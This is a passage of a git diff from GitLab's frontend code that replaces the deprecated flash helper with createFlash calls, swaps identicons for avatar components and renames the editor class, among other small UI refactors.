- * Flash banner supports different types of Flash configurations
- * along with ability to provide actionConfig which can be used to show
- * additional action or link on banner next to message
- *
- * @param {String} message Flash message text
- * @param {String} type Type of Flash, it can be `notice`, `success`, `warning` or `alert` (default)
- * @param {Object} parent Reference to parent element under which Flash needs to appear
- * @param {Object} actionConfig Map of config to show action on banner
- * @param {String} href URL to which action config should point to (default: '#')
- * @param {String} title Title of action
- * @param {Function} clickHandler Method to call when action is clicked on
- * @param {Boolean} fadeTransition Boolean to determine whether to fade the alert out
- */
-const deprecatedCreateFlash = function deprecatedCreateFlash(
- message,
- type,
- parent,
- actionConfig,
- fadeTransition,
- addBodyClass,
-) {
- return createFlash({ message, type, parent, actionConfig, fadeTransition, addBodyClass });
-};
-
export {
createFlash as default,
- deprecatedCreateFlash,
createFlashEl,
createAction,
hideFlash,
removeFlashClickListener,
FLASH_TYPES,
};
-window.Flash = createFlash;
diff --git a/app/assets/javascripts/fly_out_nav.js b/app/assets/javascripts/fly_out_nav.js
index 893b74a9895..0fb70fb831e 100644
--- a/app/assets/javascripts/fly_out_nav.js
+++ b/app/assets/javascripts/fly_out_nav.js
@@ -1,9 +1,8 @@
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
import { SIDEBAR_COLLAPSED_CLASS } from './contextual_sidebar';
-const isRefactoring = document.body.classList.contains('sidebar-refactoring');
const HIDE_INTERVAL_TIMEOUT = 300;
-const COLLAPSED_PANEL_WIDTH = isRefactoring ? 48 : 50;
+const COLLAPSED_PANEL_WIDTH = 48;
const IS_OVER_CLASS = 'is-over';
const IS_ABOVE_CLASS = 'is-above';
const IS_SHOWING_FLY_OUT_CLASS = 'is-showing-fly-out';
@@ -89,12 +88,12 @@ export const moveSubItemsToPosition = (el, subItems) => {
const boundingRect = el.getBoundingClientRect();
const left = sidebar ? sidebar.offsetWidth : COLLAPSED_PANEL_WIDTH;
let top = calculateTop(boundingRect, subItems.offsetHeight);
- if (isRefactoring && hasSubItems) {
- top -= header.offsetHeight;
- } else if (isRefactoring) {
+ const isAbove = top < boundingRect.top;
+ if (hasSubItems) {
+ top = isAbove ? top : top - header.offsetHeight;
+ } else {
top = boundingRect.top;
}
- const isAbove = top < boundingRect.top;
subItems.classList.add('fly-out-list');
subItems.style.transform = `translate3d(${left}px, ${Math.floor(top) - getHeaderHeight()}px, 0)`; // eslint-disable-line no-param-reassign
diff --git a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
index d6fcdeb9e13..1137951ccfc 100644
--- a/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
+++ b/app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue
@@ -1,16 +1,18 @@
<script>
/* eslint-disable vue/require-default-prop, vue/no-v-html */
+import { GlButton } from '@gitlab/ui';
import highlight from '~/lib/utils/highlight';
import { truncateNamespace } from '~/lib/utils/text_utility';
import { mapVuexModuleState } from '~/lib/utils/vuex_module_mappers';
import Tracking from '~/tracking';
-import Identicon from '~/vue_shared/components/identicon.vue';
+import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
const trackingMixin = Tracking.mixin();
export default {
components: {
- Identicon,
+ GlButton,
+ ProjectAvatar,
},
mixins: [trackingMixin],
inject: ['vuexModule'],
@@ -56,24 +58,18 @@ export default {
<template>
<li class="frequent-items-list-item-container">
- <a
+ <gl-button
+ category="tertiary"
:href="webUrl"
- class="clearfix dropdown-item"
+ class="gl-text-left gl-justify-content-start!"
@click="track('click_link', { label: `${dropdownType}_dropdown_frequent_items_list_item` })"
>
- <div
- ref="frequentItemsItemAvatarContainer"
- class="frequent-items-item-avatar-container avatar-container rect-avatar s32"
- >
- <img v-if="avatarUrl" ref="frequentItemsItemAvatar" :src="avatarUrl" class="avatar s32" />
- <identicon
- v-else
- :entity-id="itemId"
- :entity-name="itemName"
- size-class="s32"
- class="rect-avatar"
- />
- </div>
+ <project-avatar
+ class="gl-float-left gl-mr-3"
+ :project-avatar-url="avatarUrl"
+ :project-name="itemName"
+ aria-hidden="true"
+ />
<div ref="frequentItemsItemMetadataContainer" class="frequent-items-item-metadata-container">
<div
ref="frequentItemsItemTitle"
@@ -90,6 +86,6 @@ export default {
{{ truncatedNamespace }}
</div>
</div>
- </a>
+ </gl-button>
</li>
</template>
diff --git a/app/assets/javascripts/frequent_items/store/actions.js b/app/assets/javascripts/frequent_items/store/actions.js
index 90b454d1b42..65a762f54ad 100644
--- a/app/assets/javascripts/frequent_items/store/actions.js
+++ b/app/assets/javascripts/frequent_items/store/actions.js
@@ -1,4 +1,5 @@
import AccessorUtilities from '~/lib/utils/accessor';
+import { isLoggedIn } from '~/lib/utils/common_utils';
import { getGroups, getProjects } from '~/rest_api';
import { getTopFrequentItems } from '../utils';
import * as types from './mutation_types';
@@ -51,7 +52,7 @@ export const fetchSearchedItems = ({ state, dispatch }, searchQuery) => {
const params = {
simple: true,
per_page: 20,
- membership: Boolean(gon.current_user_id),
+ membership: isLoggedIn(),
};
let searchFunction;
diff --git a/app/assets/javascripts/gpg_badges.js b/app/assets/javascripts/gpg_badges.js
index fa6f07edfcf..7964e762dac 100644
--- a/app/assets/javascripts/gpg_badges.js
+++ b/app/assets/javascripts/gpg_badges.js
@@ -1,7 +1,8 @@
import $ from 'jquery';
import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import { parseQueryStringIntoObject } from '~/lib/utils/common_utils';
+import { queryToObject } from '~/lib/utils/url_utility';
+
import { __ } from '~/locale';
export default class GpgBadges {
@@ -27,7 +28,7 @@ export default class GpgBadges {
return Promise.reject(new Error(__('Missing commit signatures endpoint!')));
}
- const params = parseQueryStringIntoObject(tag.serialize());
+ const params = queryToObject(tag.serialize());
return axios
.get(endpoint, { params })
.then(({ data }) => {
diff --git a/app/assets/javascripts/grafana_integration/store/actions.js b/app/assets/javascripts/grafana_integration/store/actions.js
index 77d2acd3393..25347ad6433 100644
--- a/app/assets/javascripts/grafana_integration/store/actions.js
+++ b/app/assets/javascripts/grafana_integration/store/actions.js
@@ -40,6 +40,5 @@ export const receiveGrafanaIntegrationUpdateError = (_, error) => {
createFlash({
message: `${__('There was an error saving your changes.')} ${message}`,
- type: 'alert',
});
};
diff --git a/app/assets/javascripts/graphql_shared/constants.js b/app/assets/javascripts/graphql_shared/constants.js
index 7e897be9e9a..aad7712a9f0 100644
--- a/app/assets/javascripts/graphql_shared/constants.js
+++ b/app/assets/javascripts/graphql_shared/constants.js
@@ -1,2 +1,11 @@
-/* eslint-disable @gitlab/require-i18n-strings */
-export const IssueType = 'Issue';
+export const TYPE_CI_RUNNER = 'Ci::Runner';
+export const TYPE_GROUP = 'Group';
+export const TYPE_ISSUE = 'Issue';
+export const TYPE_ITERATION = 'Iteration';
+export const TYPE_ITERATIONS_CADENCE = 'Iterations::Cadence';
+export const TYPE_MERGE_REQUEST = 'MergeRequest';
+export const TYPE_MILESTONE = 'Milestone';
+export const TYPE_SCANNER_PROFILE = 'DastScannerProfile';
+export const TYPE_SITE_PROFILE = 'DastSiteProfile';
+export const TYPE_USER = 'User';
+export const TYPE_VULNERABILITY = 'Vulnerability';
diff --git a/app/assets/javascripts/graphql_shared/utils.js b/app/assets/javascripts/graphql_shared/utils.js
index e64e8009a5f..18f9a50bbce 100644
--- a/app/assets/javascripts/graphql_shared/utils.js
+++ b/app/assets/javascripts/graphql_shared/utils.js
@@ -18,11 +18,6 @@ export const MutationOperationMode = {
};
/**
- * Possible GraphQL entity types.
- */
-export const TYPE_GROUP = 'Group';
-
-/**
* Ids generated by GraphQL endpoints are usually in the format
* gid://gitlab/Groups/123. This method takes a type and an id
* and interpolates the 2 values into the expected GraphQL ID format.
diff --git a/app/assets/javascripts/group.js b/app/assets/javascripts/group.js
index c1fc75fbea6..b6a1f41afb5 100644
--- a/app/assets/javascripts/group.js
+++ b/app/assets/javascripts/group.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import fetchGroupPathAvailability from '~/pages/groups/new/fetch_group_path_availability';
import { slugify } from './lib/utils/text_utility';
@@ -16,7 +16,7 @@ export default class Group {
if (groupName.value === '') {
groupName.addEventListener('keyup', this.updateHandler);
- groupName.addEventListener('blur', this.updateGroupPathSlugHandler);
+ groupName.addEventListener('keyup', this.updateGroupPathSlugHandler);
}
});
@@ -61,11 +61,15 @@ export default class Group {
element.value = suggestedSlug;
});
} else if (exists && !suggests.length) {
- flash(__('Unable to suggest a path. Please refresh and try again.'));
+ createFlash({
+ message: __('Unable to suggest a path. Please refresh and try again.'),
+ });
}
})
.catch(() =>
- flash(__('An error occurred while checking group path. Please refresh and try again.')),
+ createFlash({
+ message: __('An error occurred while checking group path. Please refresh and try again.'),
+ }),
);
}
}
diff --git a/app/assets/javascripts/group_label_subscription.js b/app/assets/javascripts/group_label_subscription.js
index 257f5ac9658..378259eb9c8 100644
--- a/app/assets/javascripts/group_label_subscription.js
+++ b/app/assets/javascripts/group_label_subscription.js
@@ -1,7 +1,7 @@
import $ from 'jquery';
import { __ } from '~/locale';
import { fixTitle, hide } from '~/tooltips';
-import { deprecatedCreateFlash as flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
const tooltipTitles = {
@@ -30,7 +30,11 @@ export default class GroupLabelSubscription {
this.toggleSubscriptionButtons();
this.$unsubscribeButtons.removeAttr('data-url');
})
- .catch(() => flash(__('There was an error when unsubscribing from this label.')));
+ .catch(() =>
+ createFlash({
+ message: __('There was an error when unsubscribing from this label.'),
+ }),
+ );
}
subscribe(event) {
@@ -45,7 +49,11 @@ export default class GroupLabelSubscription {
.post(url)
.then(() => GroupLabelSubscription.setNewTooltip($btn))
.then(() => this.toggleSubscriptionButtons())
- .catch(() => flash(__('There was an error when subscribing to this label.')));
+ .catch(() =>
+ createFlash({
+ message: __('There was an error when subscribing to this label.'),
+ }),
+ );
}
toggleSubscriptionButtons() {
diff --git a/app/assets/javascripts/group_settings/components/shared_runners_form.vue b/app/assets/javascripts/group_settings/components/shared_runners_form.vue
index a1d706f0f66..f61d96b3dfd 100644
--- a/app/assets/javascripts/group_settings/components/shared_runners_form.vue
+++ b/app/assets/javascripts/group_settings/components/shared_runners_form.vue
@@ -101,7 +101,7 @@ export default {
<h4 class="gl-display-flex gl-align-items-center">
{{ __('Set up shared runner availability') }}
- <gl-loading-icon v-if="isLoading" class="gl-ml-3" inline />
+ <gl-loading-icon v-if="isLoading" class="gl-ml-3" size="sm" inline />
</h4>
<section class="gl-mt-5">
diff --git a/app/assets/javascripts/groups/components/app.vue b/app/assets/javascripts/groups/components/app.vue
index 9d2c7cfe581..2a95b242510 100644
--- a/app/assets/javascripts/groups/components/app.vue
+++ b/app/assets/javascripts/groups/components/app.vue
@@ -1,10 +1,8 @@
<script>
-/* global Flash */
-
import { GlLoadingIcon, GlModal } from '@gitlab/ui';
-import { getParameterByName } from '~/lib/utils/common_utils';
+import createFlash from '~/flash';
import { HIDDEN_CLASS } from '~/lib/utils/constants';
-import { mergeUrlParams } from '~/lib/utils/url_utility';
+import { mergeUrlParams, getParameterByName } from '~/lib/utils/url_utility';
import { __, s__, sprintf } from '~/locale';
import { COMMON_STR, CONTENT_LIST_CLASS } from '../constants';
@@ -116,7 +114,7 @@ export default {
this.isLoading = false;
window.scrollTo({ top: 0, behavior: 'smooth' });
- Flash(COMMON_STR.FAILURE);
+ createFlash({ message: COMMON_STR.FAILURE });
});
},
fetchAllGroups() {
@@ -202,7 +200,7 @@ export default {
if (err.status === 403) {
message = COMMON_STR.LEAVE_FORBIDDEN;
}
- Flash(message);
+ createFlash({ message });
this.targetGroup.isBeingRemoved = false;
});
},
diff --git a/app/assets/javascripts/groups/components/group_item.vue b/app/assets/javascripts/groups/components/group_item.vue
index dbad2688451..ad0b27c9693 100644
--- a/app/assets/javascripts/groups/components/group_item.vue
+++ b/app/assets/javascripts/groups/components/group_item.vue
@@ -1,5 +1,6 @@
<script>
import {
+ GlAvatar,
GlLoadingIcon,
GlBadge,
GlIcon,
@@ -7,7 +8,6 @@ import {
GlSafeHtmlDirective,
} from '@gitlab/ui';
import { visitUrl } from '~/lib/utils/url_utility';
-import identicon from '~/vue_shared/components/identicon.vue';
import UserAccessRoleBadge from '~/vue_shared/components/user_access_role_badge.vue';
import { VISIBILITY_TYPE_ICON, GROUP_VISIBILITY_TYPE } from '../constants';
import eventHub from '../event_hub';
@@ -23,11 +23,11 @@ export default {
SafeHtml: GlSafeHtmlDirective,
},
components: {
+ GlAvatar,
GlBadge,
GlLoadingIcon,
GlIcon,
UserAccessRoleBadge,
- identicon,
itemCaret,
itemTypeIcon,
itemStats,
@@ -125,21 +125,21 @@ export default {
size="lg"
class="d-none d-sm-inline-flex flex-shrink-0 gl-mr-3"
/>
- <div
- :class="{ 'd-sm-flex': !group.isChildrenLoading }"
- class="avatar-container rect-avatar s32 d-none flex-grow-0 flex-shrink-0"
+ <a
+ :class="{ 'gl-sm-display-flex': !group.isChildrenLoading }"
+ class="gl-display-none gl-text-decoration-none! gl-mr-3"
+ :href="group.relativePath"
+ :aria-label="group.name"
>
- <a :href="group.relativePath" class="no-expand">
- <img
- v-if="hasAvatar"
- :src="group.avatarUrl"
- data-testid="group-avatar"
- class="avatar s40"
- :itemprop="microdata.imageItemprop"
- />
- <identicon v-else :entity-id="group.id" :entity-name="group.name" size-class="s40" />
- </a>
- </div>
+ <gl-avatar
+ shape="rect"
+ :entity-name="group.name"
+ :src="group.avatarUrl"
+ :alt="group.name"
+ :size="32"
+ :itemprop="microdata.imageItemprop"
+ />
+ </a>
<div class="group-text-container d-flex flex-fill align-items-center">
<div class="group-text flex-grow-1 flex-shrink-1">
<div class="d-flex align-items-center flex-wrap title namespace-title gl-mr-3">
@@ -178,7 +178,7 @@ export default {
</div>
</div>
<div v-if="isGroupPendingRemoval">
- <gl-badge variant="warning">{{ __('pending removal') }}</gl-badge>
+ <gl-badge variant="warning">{{ __('pending deletion') }}</gl-badge>
</div>
<div class="metadata d-flex flex-grow-1 flex-shrink-0 flex-wrap justify-content-md-between">
<item-actions
diff --git a/app/assets/javascripts/groups/components/groups.vue b/app/assets/javascripts/groups/components/groups.vue
index d407fdd2b90..59a37b2a1d5 100644
--- a/app/assets/javascripts/groups/components/groups.vue
+++ b/app/assets/javascripts/groups/components/groups.vue
@@ -1,6 +1,6 @@
<script>
import PaginationLinks from '~/vue_shared/components/pagination_links.vue';
-import { getParameterByName } from '../../lib/utils/common_utils';
+import { getParameterByName } from '../../lib/utils/url_utility';
import eventHub from '../event_hub';
export default {
diff --git a/app/assets/javascripts/groups/components/item_stats.vue b/app/assets/javascripts/groups/components/item_stats.vue
index e09df8a5d26..7a37d1eb93d 100644
--- a/app/assets/javascripts/groups/components/item_stats.vue
+++ b/app/assets/javascripts/groups/components/item_stats.vue
@@ -73,7 +73,7 @@ export default {
icon-name="star"
/>
<div v-if="isProjectPendingRemoval">
- <gl-badge variant="warning">{{ __('pending removal') }}</gl-badge>
+ <gl-badge variant="warning">{{ __('pending deletion') }}</gl-badge>
</div>
<div v-if="isProject" class="last-updated">
<time-ago-tooltip :time="item.updatedAt" tooltip-placement="bottom" />
diff --git a/app/assets/javascripts/groups/groups_filterable_list.js b/app/assets/javascripts/groups/groups_filterable_list.js
index cedf16cd7f1..a7d44322eb1 100644
--- a/app/assets/javascripts/groups/groups_filterable_list.js
+++ b/app/assets/javascripts/groups/groups_filterable_list.js
@@ -1,6 +1,7 @@
import $ from 'jquery';
import FilterableList from '~/filterable_list';
-import { normalizeHeaders, getParameterByName } from '../lib/utils/common_utils';
+import { normalizeHeaders } from '../lib/utils/common_utils';
+import { getParameterByName } from '../lib/utils/url_utility';
import eventHub from './event_hub';
export default class GroupFilterableList extends FilterableList {
@@ -45,7 +46,7 @@ export default class GroupFilterableList extends FilterableList {
onFilterInput() {
const queryData = {};
const $form = $(this.form);
- const archivedParam = getParameterByName('archived', window.location.href);
+ const archivedParam = getParameterByName('archived');
const filterGroupsParam = $form.find(`[name="${this.filterInputField}"]`).val();
if (filterGroupsParam) {
@@ -85,11 +86,11 @@ export default class GroupFilterableList extends FilterableList {
// Get option query param, also preserve currently applied query param
const sortParam = getParameterByName(
'sort',
- isOptionFilterBySort ? e.currentTarget.href : window.location.href,
+ isOptionFilterBySort ? e.currentTarget.search : window.location.search,
);
const archivedParam = getParameterByName(
'archived',
- isOptionFilterByArchivedProjects ? e.currentTarget.href : window.location.href,
+ isOptionFilterByArchivedProjects ? e.currentTarget.search : window.location.search,
);
if (sortParam) {
diff --git a/app/assets/javascripts/ide/components/error_message.vue b/app/assets/javascripts/ide/components/error_message.vue
index d3a52f9f0cf..2b75d10f659 100644
--- a/app/assets/javascripts/ide/components/error_message.vue
+++ b/app/assets/javascripts/ide/components/error_message.vue
@@ -57,6 +57,6 @@ export default {
@primaryAction="doAction"
>
<span v-html="message.text"></span>
- <gl-loading-icon v-show="isLoading" inline class="vertical-align-middle ml-1" />
+ <gl-loading-icon v-show="isLoading" size="sm" inline class="vertical-align-middle ml-1" />
</gl-alert>
</template>
diff --git a/app/assets/javascripts/ide/components/ide.vue b/app/assets/javascripts/ide/components/ide.vue
index 0c9fd324f8c..e345e5dc099 100644
--- a/app/assets/javascripts/ide/components/ide.vue
+++ b/app/assets/javascripts/ide/components/ide.vue
@@ -130,7 +130,6 @@ export default {
<div class="ide-view flex-grow d-flex">
<template v-if="loadDeferred">
<find-file
- v-show="fileFindVisible"
:files="allBlobs"
:visible="fileFindVisible"
:loading="loading"
diff --git a/app/assets/javascripts/ide/components/ide_project_header.vue b/app/assets/javascripts/ide/components/ide_project_header.vue
index 36891505230..1c25a8e634d 100644
--- a/app/assets/javascripts/ide/components/ide_project_header.vue
+++ b/app/assets/javascripts/ide/components/ide_project_header.vue
@@ -1,9 +1,9 @@
<script>
-import ProjectAvatarDefault from '~/vue_shared/components/project_avatar/default.vue';
+import ProjectAvatar from '~/vue_shared/components/project_avatar.vue';
export default {
components: {
- ProjectAvatarDefault,
+ ProjectAvatar,
},
props: {
project: {
@@ -16,8 +16,12 @@ export default {
<template>
<div class="context-header ide-context-header">
- <a :href="project.web_url" :title="s__('IDE|Go to project')">
- <project-avatar-default :project="project" :size="48" />
+ <a :href="project.web_url" :title="s__('IDE|Go to project')" data-testid="go-to-project-link">
+ <project-avatar
+ :project-name="project.name"
+ :project-avatar-url="project.avatar_url"
+ :size="48"
+ />
<span class="ide-sidebar-project-title">
<span class="sidebar-context-title"> {{ project.name }} </span>
<span
diff --git a/app/assets/javascripts/ide/components/jobs/stage.vue b/app/assets/javascripts/ide/components/jobs/stage.vue
index 6c7f084c164..938385f0b81 100644
--- a/app/assets/javascripts/ide/components/jobs/stage.vue
+++ b/app/assets/javascripts/ide/components/jobs/stage.vue
@@ -79,7 +79,7 @@ export default {
<gl-icon :name="collapseIcon" class="ide-stage-collapse-icon" />
</div>
<div v-show="!stage.isCollapsed" ref="jobList" class="card-body p-0">
- <gl-loading-icon v-if="showLoadingIcon" />
+ <gl-loading-icon v-if="showLoadingIcon" size="sm" />
<template v-else>
<item v-for="job in stage.jobs" :key="job.id" :job="job" @clickViewLog="clickViewLog" />
</template>
diff --git a/app/assets/javascripts/ide/components/merge_requests/item.vue b/app/assets/javascripts/ide/components/merge_requests/item.vue
index 639937481f3..2d9f74a06ee 100644
--- a/app/assets/javascripts/ide/components/merge_requests/item.vue
+++ b/app/assets/javascripts/ide/components/merge_requests/item.vue
@@ -41,7 +41,7 @@ export default {
<template>
<a :href="mergeRequestHref" class="btn-link d-flex align-items-center">
<span class="d-flex gl-mr-3 ide-search-list-current-icon">
- <gl-icon v-if="isActive" :size="18" name="mobile-issue-close" use-deprecated-sizes />
+ <gl-icon v-if="isActive" :size="16" name="mobile-issue-close" />
</span>
<span>
<strong> {{ item.title }} </strong>
diff --git a/app/assets/javascripts/ide/components/new_dropdown/modal.vue b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
index f8dc10420d0..e8541d3a4c3 100644
--- a/app/assets/javascripts/ide/components/new_dropdown/modal.vue
+++ b/app/assets/javascripts/ide/components/new_dropdown/modal.vue
@@ -61,9 +61,6 @@ export default {
message: sprintf(s__('The name "%{name}" is already taken in this directory.'), {
name: this.entryName,
}),
- type: 'alert',
- parent: document,
- actionConfig: null,
fadeTransition: false,
addBodyClass: true,
});
diff --git a/app/assets/javascripts/ide/components/preview/navigator.vue b/app/assets/javascripts/ide/components/preview/navigator.vue
index 4d35e946d89..838c363a6a3 100644
--- a/app/assets/javascripts/ide/components/preview/navigator.vue
+++ b/app/assets/javascripts/ide/components/preview/navigator.vue
@@ -126,7 +126,11 @@ export default {
class="ide-navigator-location form-control bg-white"
readonly
/>
- <gl-loading-icon v-if="loading" class="position-absolute ide-preview-loading-icon" />
+ <gl-loading-icon
+ v-if="loading"
+ size="sm"
+ class="position-absolute ide-preview-loading-icon"
+ />
</div>
</header>
</template>
diff --git a/app/assets/javascripts/ide/components/repo_editor.vue b/app/assets/javascripts/ide/components/repo_editor.vue
index bf2af9ffd49..5c711313ff6 100644
--- a/app/assets/javascripts/ide/components/repo_editor.vue
+++ b/app/assets/javascripts/ide/components/repo_editor.vue
@@ -6,9 +6,9 @@ import {
EDITOR_CODE_INSTANCE_FN,
EDITOR_DIFF_INSTANCE_FN,
} from '~/editor/constants';
-import EditorLite from '~/editor/editor_lite';
-import { EditorWebIdeExtension } from '~/editor/extensions/editor_lite_webide_ext';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import { EditorWebIdeExtension } from '~/editor/extensions/source_editor_webide_ext';
+import SourceEditor from '~/editor/source_editor';
+import createFlash from '~/flash';
import ModelManager from '~/ide/lib/common/model_manager';
import { defaultDiffEditorOptions, defaultEditorOptions } from '~/ide/lib/editor_options';
import { __ } from '~/locale';
@@ -216,7 +216,7 @@ export default {
},
mounted() {
if (!this.globalEditor) {
- this.globalEditor = new EditorLite();
+ this.globalEditor = new SourceEditor();
}
this.initEditor();
@@ -250,14 +250,11 @@ export default {
this.createEditorInstance();
})
.catch((err) => {
- flash(
- __('Error setting up editor. Please try again.'),
- 'alert',
- document,
- null,
- false,
- true,
- );
+ createFlash({
+ message: __('Error setting up editor. Please try again.'),
+ fadeTransition: false,
+ addBodyClass: true,
+ });
throw err;
});
},
@@ -418,7 +415,11 @@ export default {
const parentPath = getPathParent(this.file.path);
const path = `${parentPath ? `${parentPath}/` : ''}${file.name}`;
- return this.addTempImage({ name: path, rawPath: content }).then(({ name: fileName }) => {
+ return this.addTempImage({
+ name: path,
+ rawPath: URL.createObjectURL(file),
+ content: atob(content.split('base64,')[1]),
+ }).then(({ name: fileName }) => {
this.editor.replaceSelectedText(`![${fileName}](./${fileName})`);
});
});
diff --git a/app/assets/javascripts/ide/components/shared/tokened_input.vue b/app/assets/javascripts/ide/components/shared/tokened_input.vue
index ed0dab47947..14052c23a0c 100644
--- a/app/assets/javascripts/ide/components/shared/tokened_input.vue
+++ b/app/assets/javascripts/ide/components/shared/tokened_input.vue
@@ -82,7 +82,7 @@ export default {
<div class="value-container rounded">
<div class="value">{{ token.label }}</div>
<div class="remove-token inverted">
- <gl-icon :size="10" name="close" use-deprecated-sizes />
+ <gl-icon :size="16" name="close" />
</div>
</div>
</button>
diff --git a/app/assets/javascripts/ide/components/terminal/terminal.vue b/app/assets/javascripts/ide/components/terminal/terminal.vue
index 08fb2f5e5a0..c91a98c9527 100644
--- a/app/assets/javascripts/ide/components/terminal/terminal.vue
+++ b/app/assets/javascripts/ide/components/terminal/terminal.vue
@@ -93,7 +93,7 @@ export default {
<div class="d-flex flex-column flex-fill min-height-0 pr-3">
<div class="top-bar d-flex border-left-0 align-items-center">
<div v-if="loadingText" data-qa-selector="loading_container">
- <gl-loading-icon :inline="true" />
+ <gl-loading-icon size="sm" :inline="true" />
<span>{{ loadingText }}</span>
</div>
<terminal-controls
diff --git a/app/assets/javascripts/ide/ide_router.js b/app/assets/javascripts/ide/ide_router.js
index 5f60bf0269d..27cedd80347 100644
--- a/app/assets/javascripts/ide/ide_router.js
+++ b/app/assets/javascripts/ide/ide_router.js
@@ -1,5 +1,5 @@
import Vue from 'vue';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import IdeRouter from '~/ide/ide_router_extension';
import { joinPaths } from '~/lib/utils/url_utility';
import { __ } from '~/locale';
@@ -111,14 +111,11 @@ export const createRouter = (store, defaultBranch) => {
}
})
.catch((e) => {
- flash(
- __('Error while loading the project data. Please try again.'),
- 'alert',
- document,
- null,
- false,
- true,
- );
+ createFlash({
+ message: __('Error while loading the project data. Please try again.'),
+ fadeTransition: false,
+ addBodyClass: true,
+ });
throw e;
});
}
diff --git a/app/assets/javascripts/ide/lib/diff/controller.js b/app/assets/javascripts/ide/lib/diff/controller.js
index 1d051062637..682914df9ec 100644
--- a/app/assets/javascripts/ide/lib/diff/controller.js
+++ b/app/assets/javascripts/ide/lib/diff/controller.js
@@ -1,5 +1,6 @@
import { throttle } from 'lodash';
import { Range } from 'monaco-editor';
+import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
import Disposable from '../common/disposable';
import DirtyDiffWorker from './diff_worker';
@@ -31,7 +32,7 @@ export default class DirtyDiffController {
this.modelManager = modelManager;
this.decorationsController = decorationsController;
this.dirtyDiffWorker = new DirtyDiffWorker();
- this.throttledComputeDiff = throttle(this.computeDiff, 250);
+ this.throttledComputeDiff = throttle(this.computeDiff, DEFAULT_DEBOUNCE_AND_THROTTLE_MS);
this.decorate = this.decorate.bind(this);
this.dirtyDiffWorker.addEventListener('message', this.decorate);
diff --git a/app/assets/javascripts/ide/services/index.js b/app/assets/javascripts/ide/services/index.js
index 6bd28cd4fb6..ef4f47f226a 100644
--- a/app/assets/javascripts/ide/services/index.js
+++ b/app/assets/javascripts/ide/services/index.js
@@ -100,7 +100,7 @@ export default {
return Api.commitPipelines(getters.currentProject.path_with_namespace, commitSha);
},
pingUsage(projectPath) {
- const url = `${gon.relative_url_root}/${projectPath}/usage_ping/web_ide_pipelines_count`;
+ const url = `${gon.relative_url_root}/${projectPath}/service_ping/web_ide_pipelines_count`;
return axios.post(url);
},
getCiConfig(projectPath, content) {
diff --git a/app/assets/javascripts/ide/stores/actions.js b/app/assets/javascripts/ide/stores/actions.js
index 062dc150805..b22e58a376d 100644
--- a/app/assets/javascripts/ide/stores/actions.js
+++ b/app/assets/javascripts/ide/stores/actions.js
@@ -1,6 +1,6 @@
import { escape } from 'lodash';
import Vue from 'vue';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { visitUrl } from '~/lib/utils/url_utility';
import { __, sprintf } from '~/locale';
import {
@@ -36,16 +36,13 @@ export const createTempEntry = (
const fullName = name.slice(-1) !== '/' && type === 'tree' ? `${name}/` : name;
if (getters.entryExists(name)) {
- flash(
- sprintf(__('The name "%{name}" is already taken in this directory.'), {
+ createFlash({
+ message: sprintf(__('The name "%{name}" is already taken in this directory.'), {
name: name.split('/').pop(),
}),
- 'alert',
- document,
- null,
- false,
- true,
- );
+ fadeTransition: false,
+ addBodyClass: true,
+ });
return undefined;
}
@@ -79,11 +76,11 @@ export const createTempEntry = (
return file;
};
-export const addTempImage = ({ dispatch, getters }, { name, rawPath = '' }) =>
+export const addTempImage = ({ dispatch, getters }, { name, rawPath = '', content = '' }) =>
dispatch('createTempEntry', {
name: getters.getAvailableFileName(name),
type: 'blob',
- content: rawPath.split('base64,')[1],
+ content,
rawPath,
openFile: false,
makeFileActive: false,
@@ -284,14 +281,11 @@ export const getBranchData = ({ commit, state }, { projectId, branchId, force =
if (e.response.status === 404) {
reject(e);
} else {
- flash(
- __('Error loading branch data. Please try again.'),
- 'alert',
- document,
- null,
- false,
- true,
- );
+ createFlash({
+ message: __('Error loading branch data. Please try again.'),
+ fadeTransition: false,
+ addBodyClass: true,
+ });
reject(
new Error(
diff --git a/app/assets/javascripts/ide/stores/actions/merge_request.js b/app/assets/javascripts/ide/stores/actions/merge_request.js
index 5e020f16104..f3f603d4ae9 100644
--- a/app/assets/javascripts/ide/stores/actions/merge_request.js
+++ b/app/assets/javascripts/ide/stores/actions/merge_request.js
@@ -36,9 +36,6 @@ export const getMergeRequestsForBranch = (
.catch((e) => {
createFlash({
message: __(`Error fetching merge requests for ${branchId}`),
- type: 'alert',
- parent: document,
- actionConfig: null,
fadeTransition: false,
addBodyClass: true,
});
diff --git a/app/assets/javascripts/ide/stores/actions/project.js b/app/assets/javascripts/ide/stores/actions/project.js
index 120a577d44a..93ad19ba81e 100644
--- a/app/assets/javascripts/ide/stores/actions/project.js
+++ b/app/assets/javascripts/ide/stores/actions/project.js
@@ -1,5 +1,5 @@
import { escape } from 'lodash';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import { __, sprintf } from '~/locale';
import api from '../../../api';
import service from '../../services';
@@ -19,14 +19,11 @@ export const getProjectData = ({ commit, state }, { namespace, projectId, force
resolve(data);
})
.catch(() => {
- flash(
- __('Error loading project data. Please try again.'),
- 'alert',
- document,
- null,
- false,
- true,
- );
+ createFlash({
+ message: __('Error loading project data. Please try again.'),
+ fadeTransition: false,
+ addBodyClass: true,
+ });
reject(new Error(`Project not loaded ${namespace}/${projectId}`));
});
} else {
@@ -45,7 +42,11 @@ export const refreshLastCommitData = ({ commit }, { projectId, branchId } = {})
});
})
.catch((e) => {
- flash(__('Error loading last commit.'), 'alert', document, null, false, true);
+ createFlash({
+ message: __('Error loading last commit.'),
+ fadeTransition: false,
+ addBodyClass: true,
+ });
throw e;
});
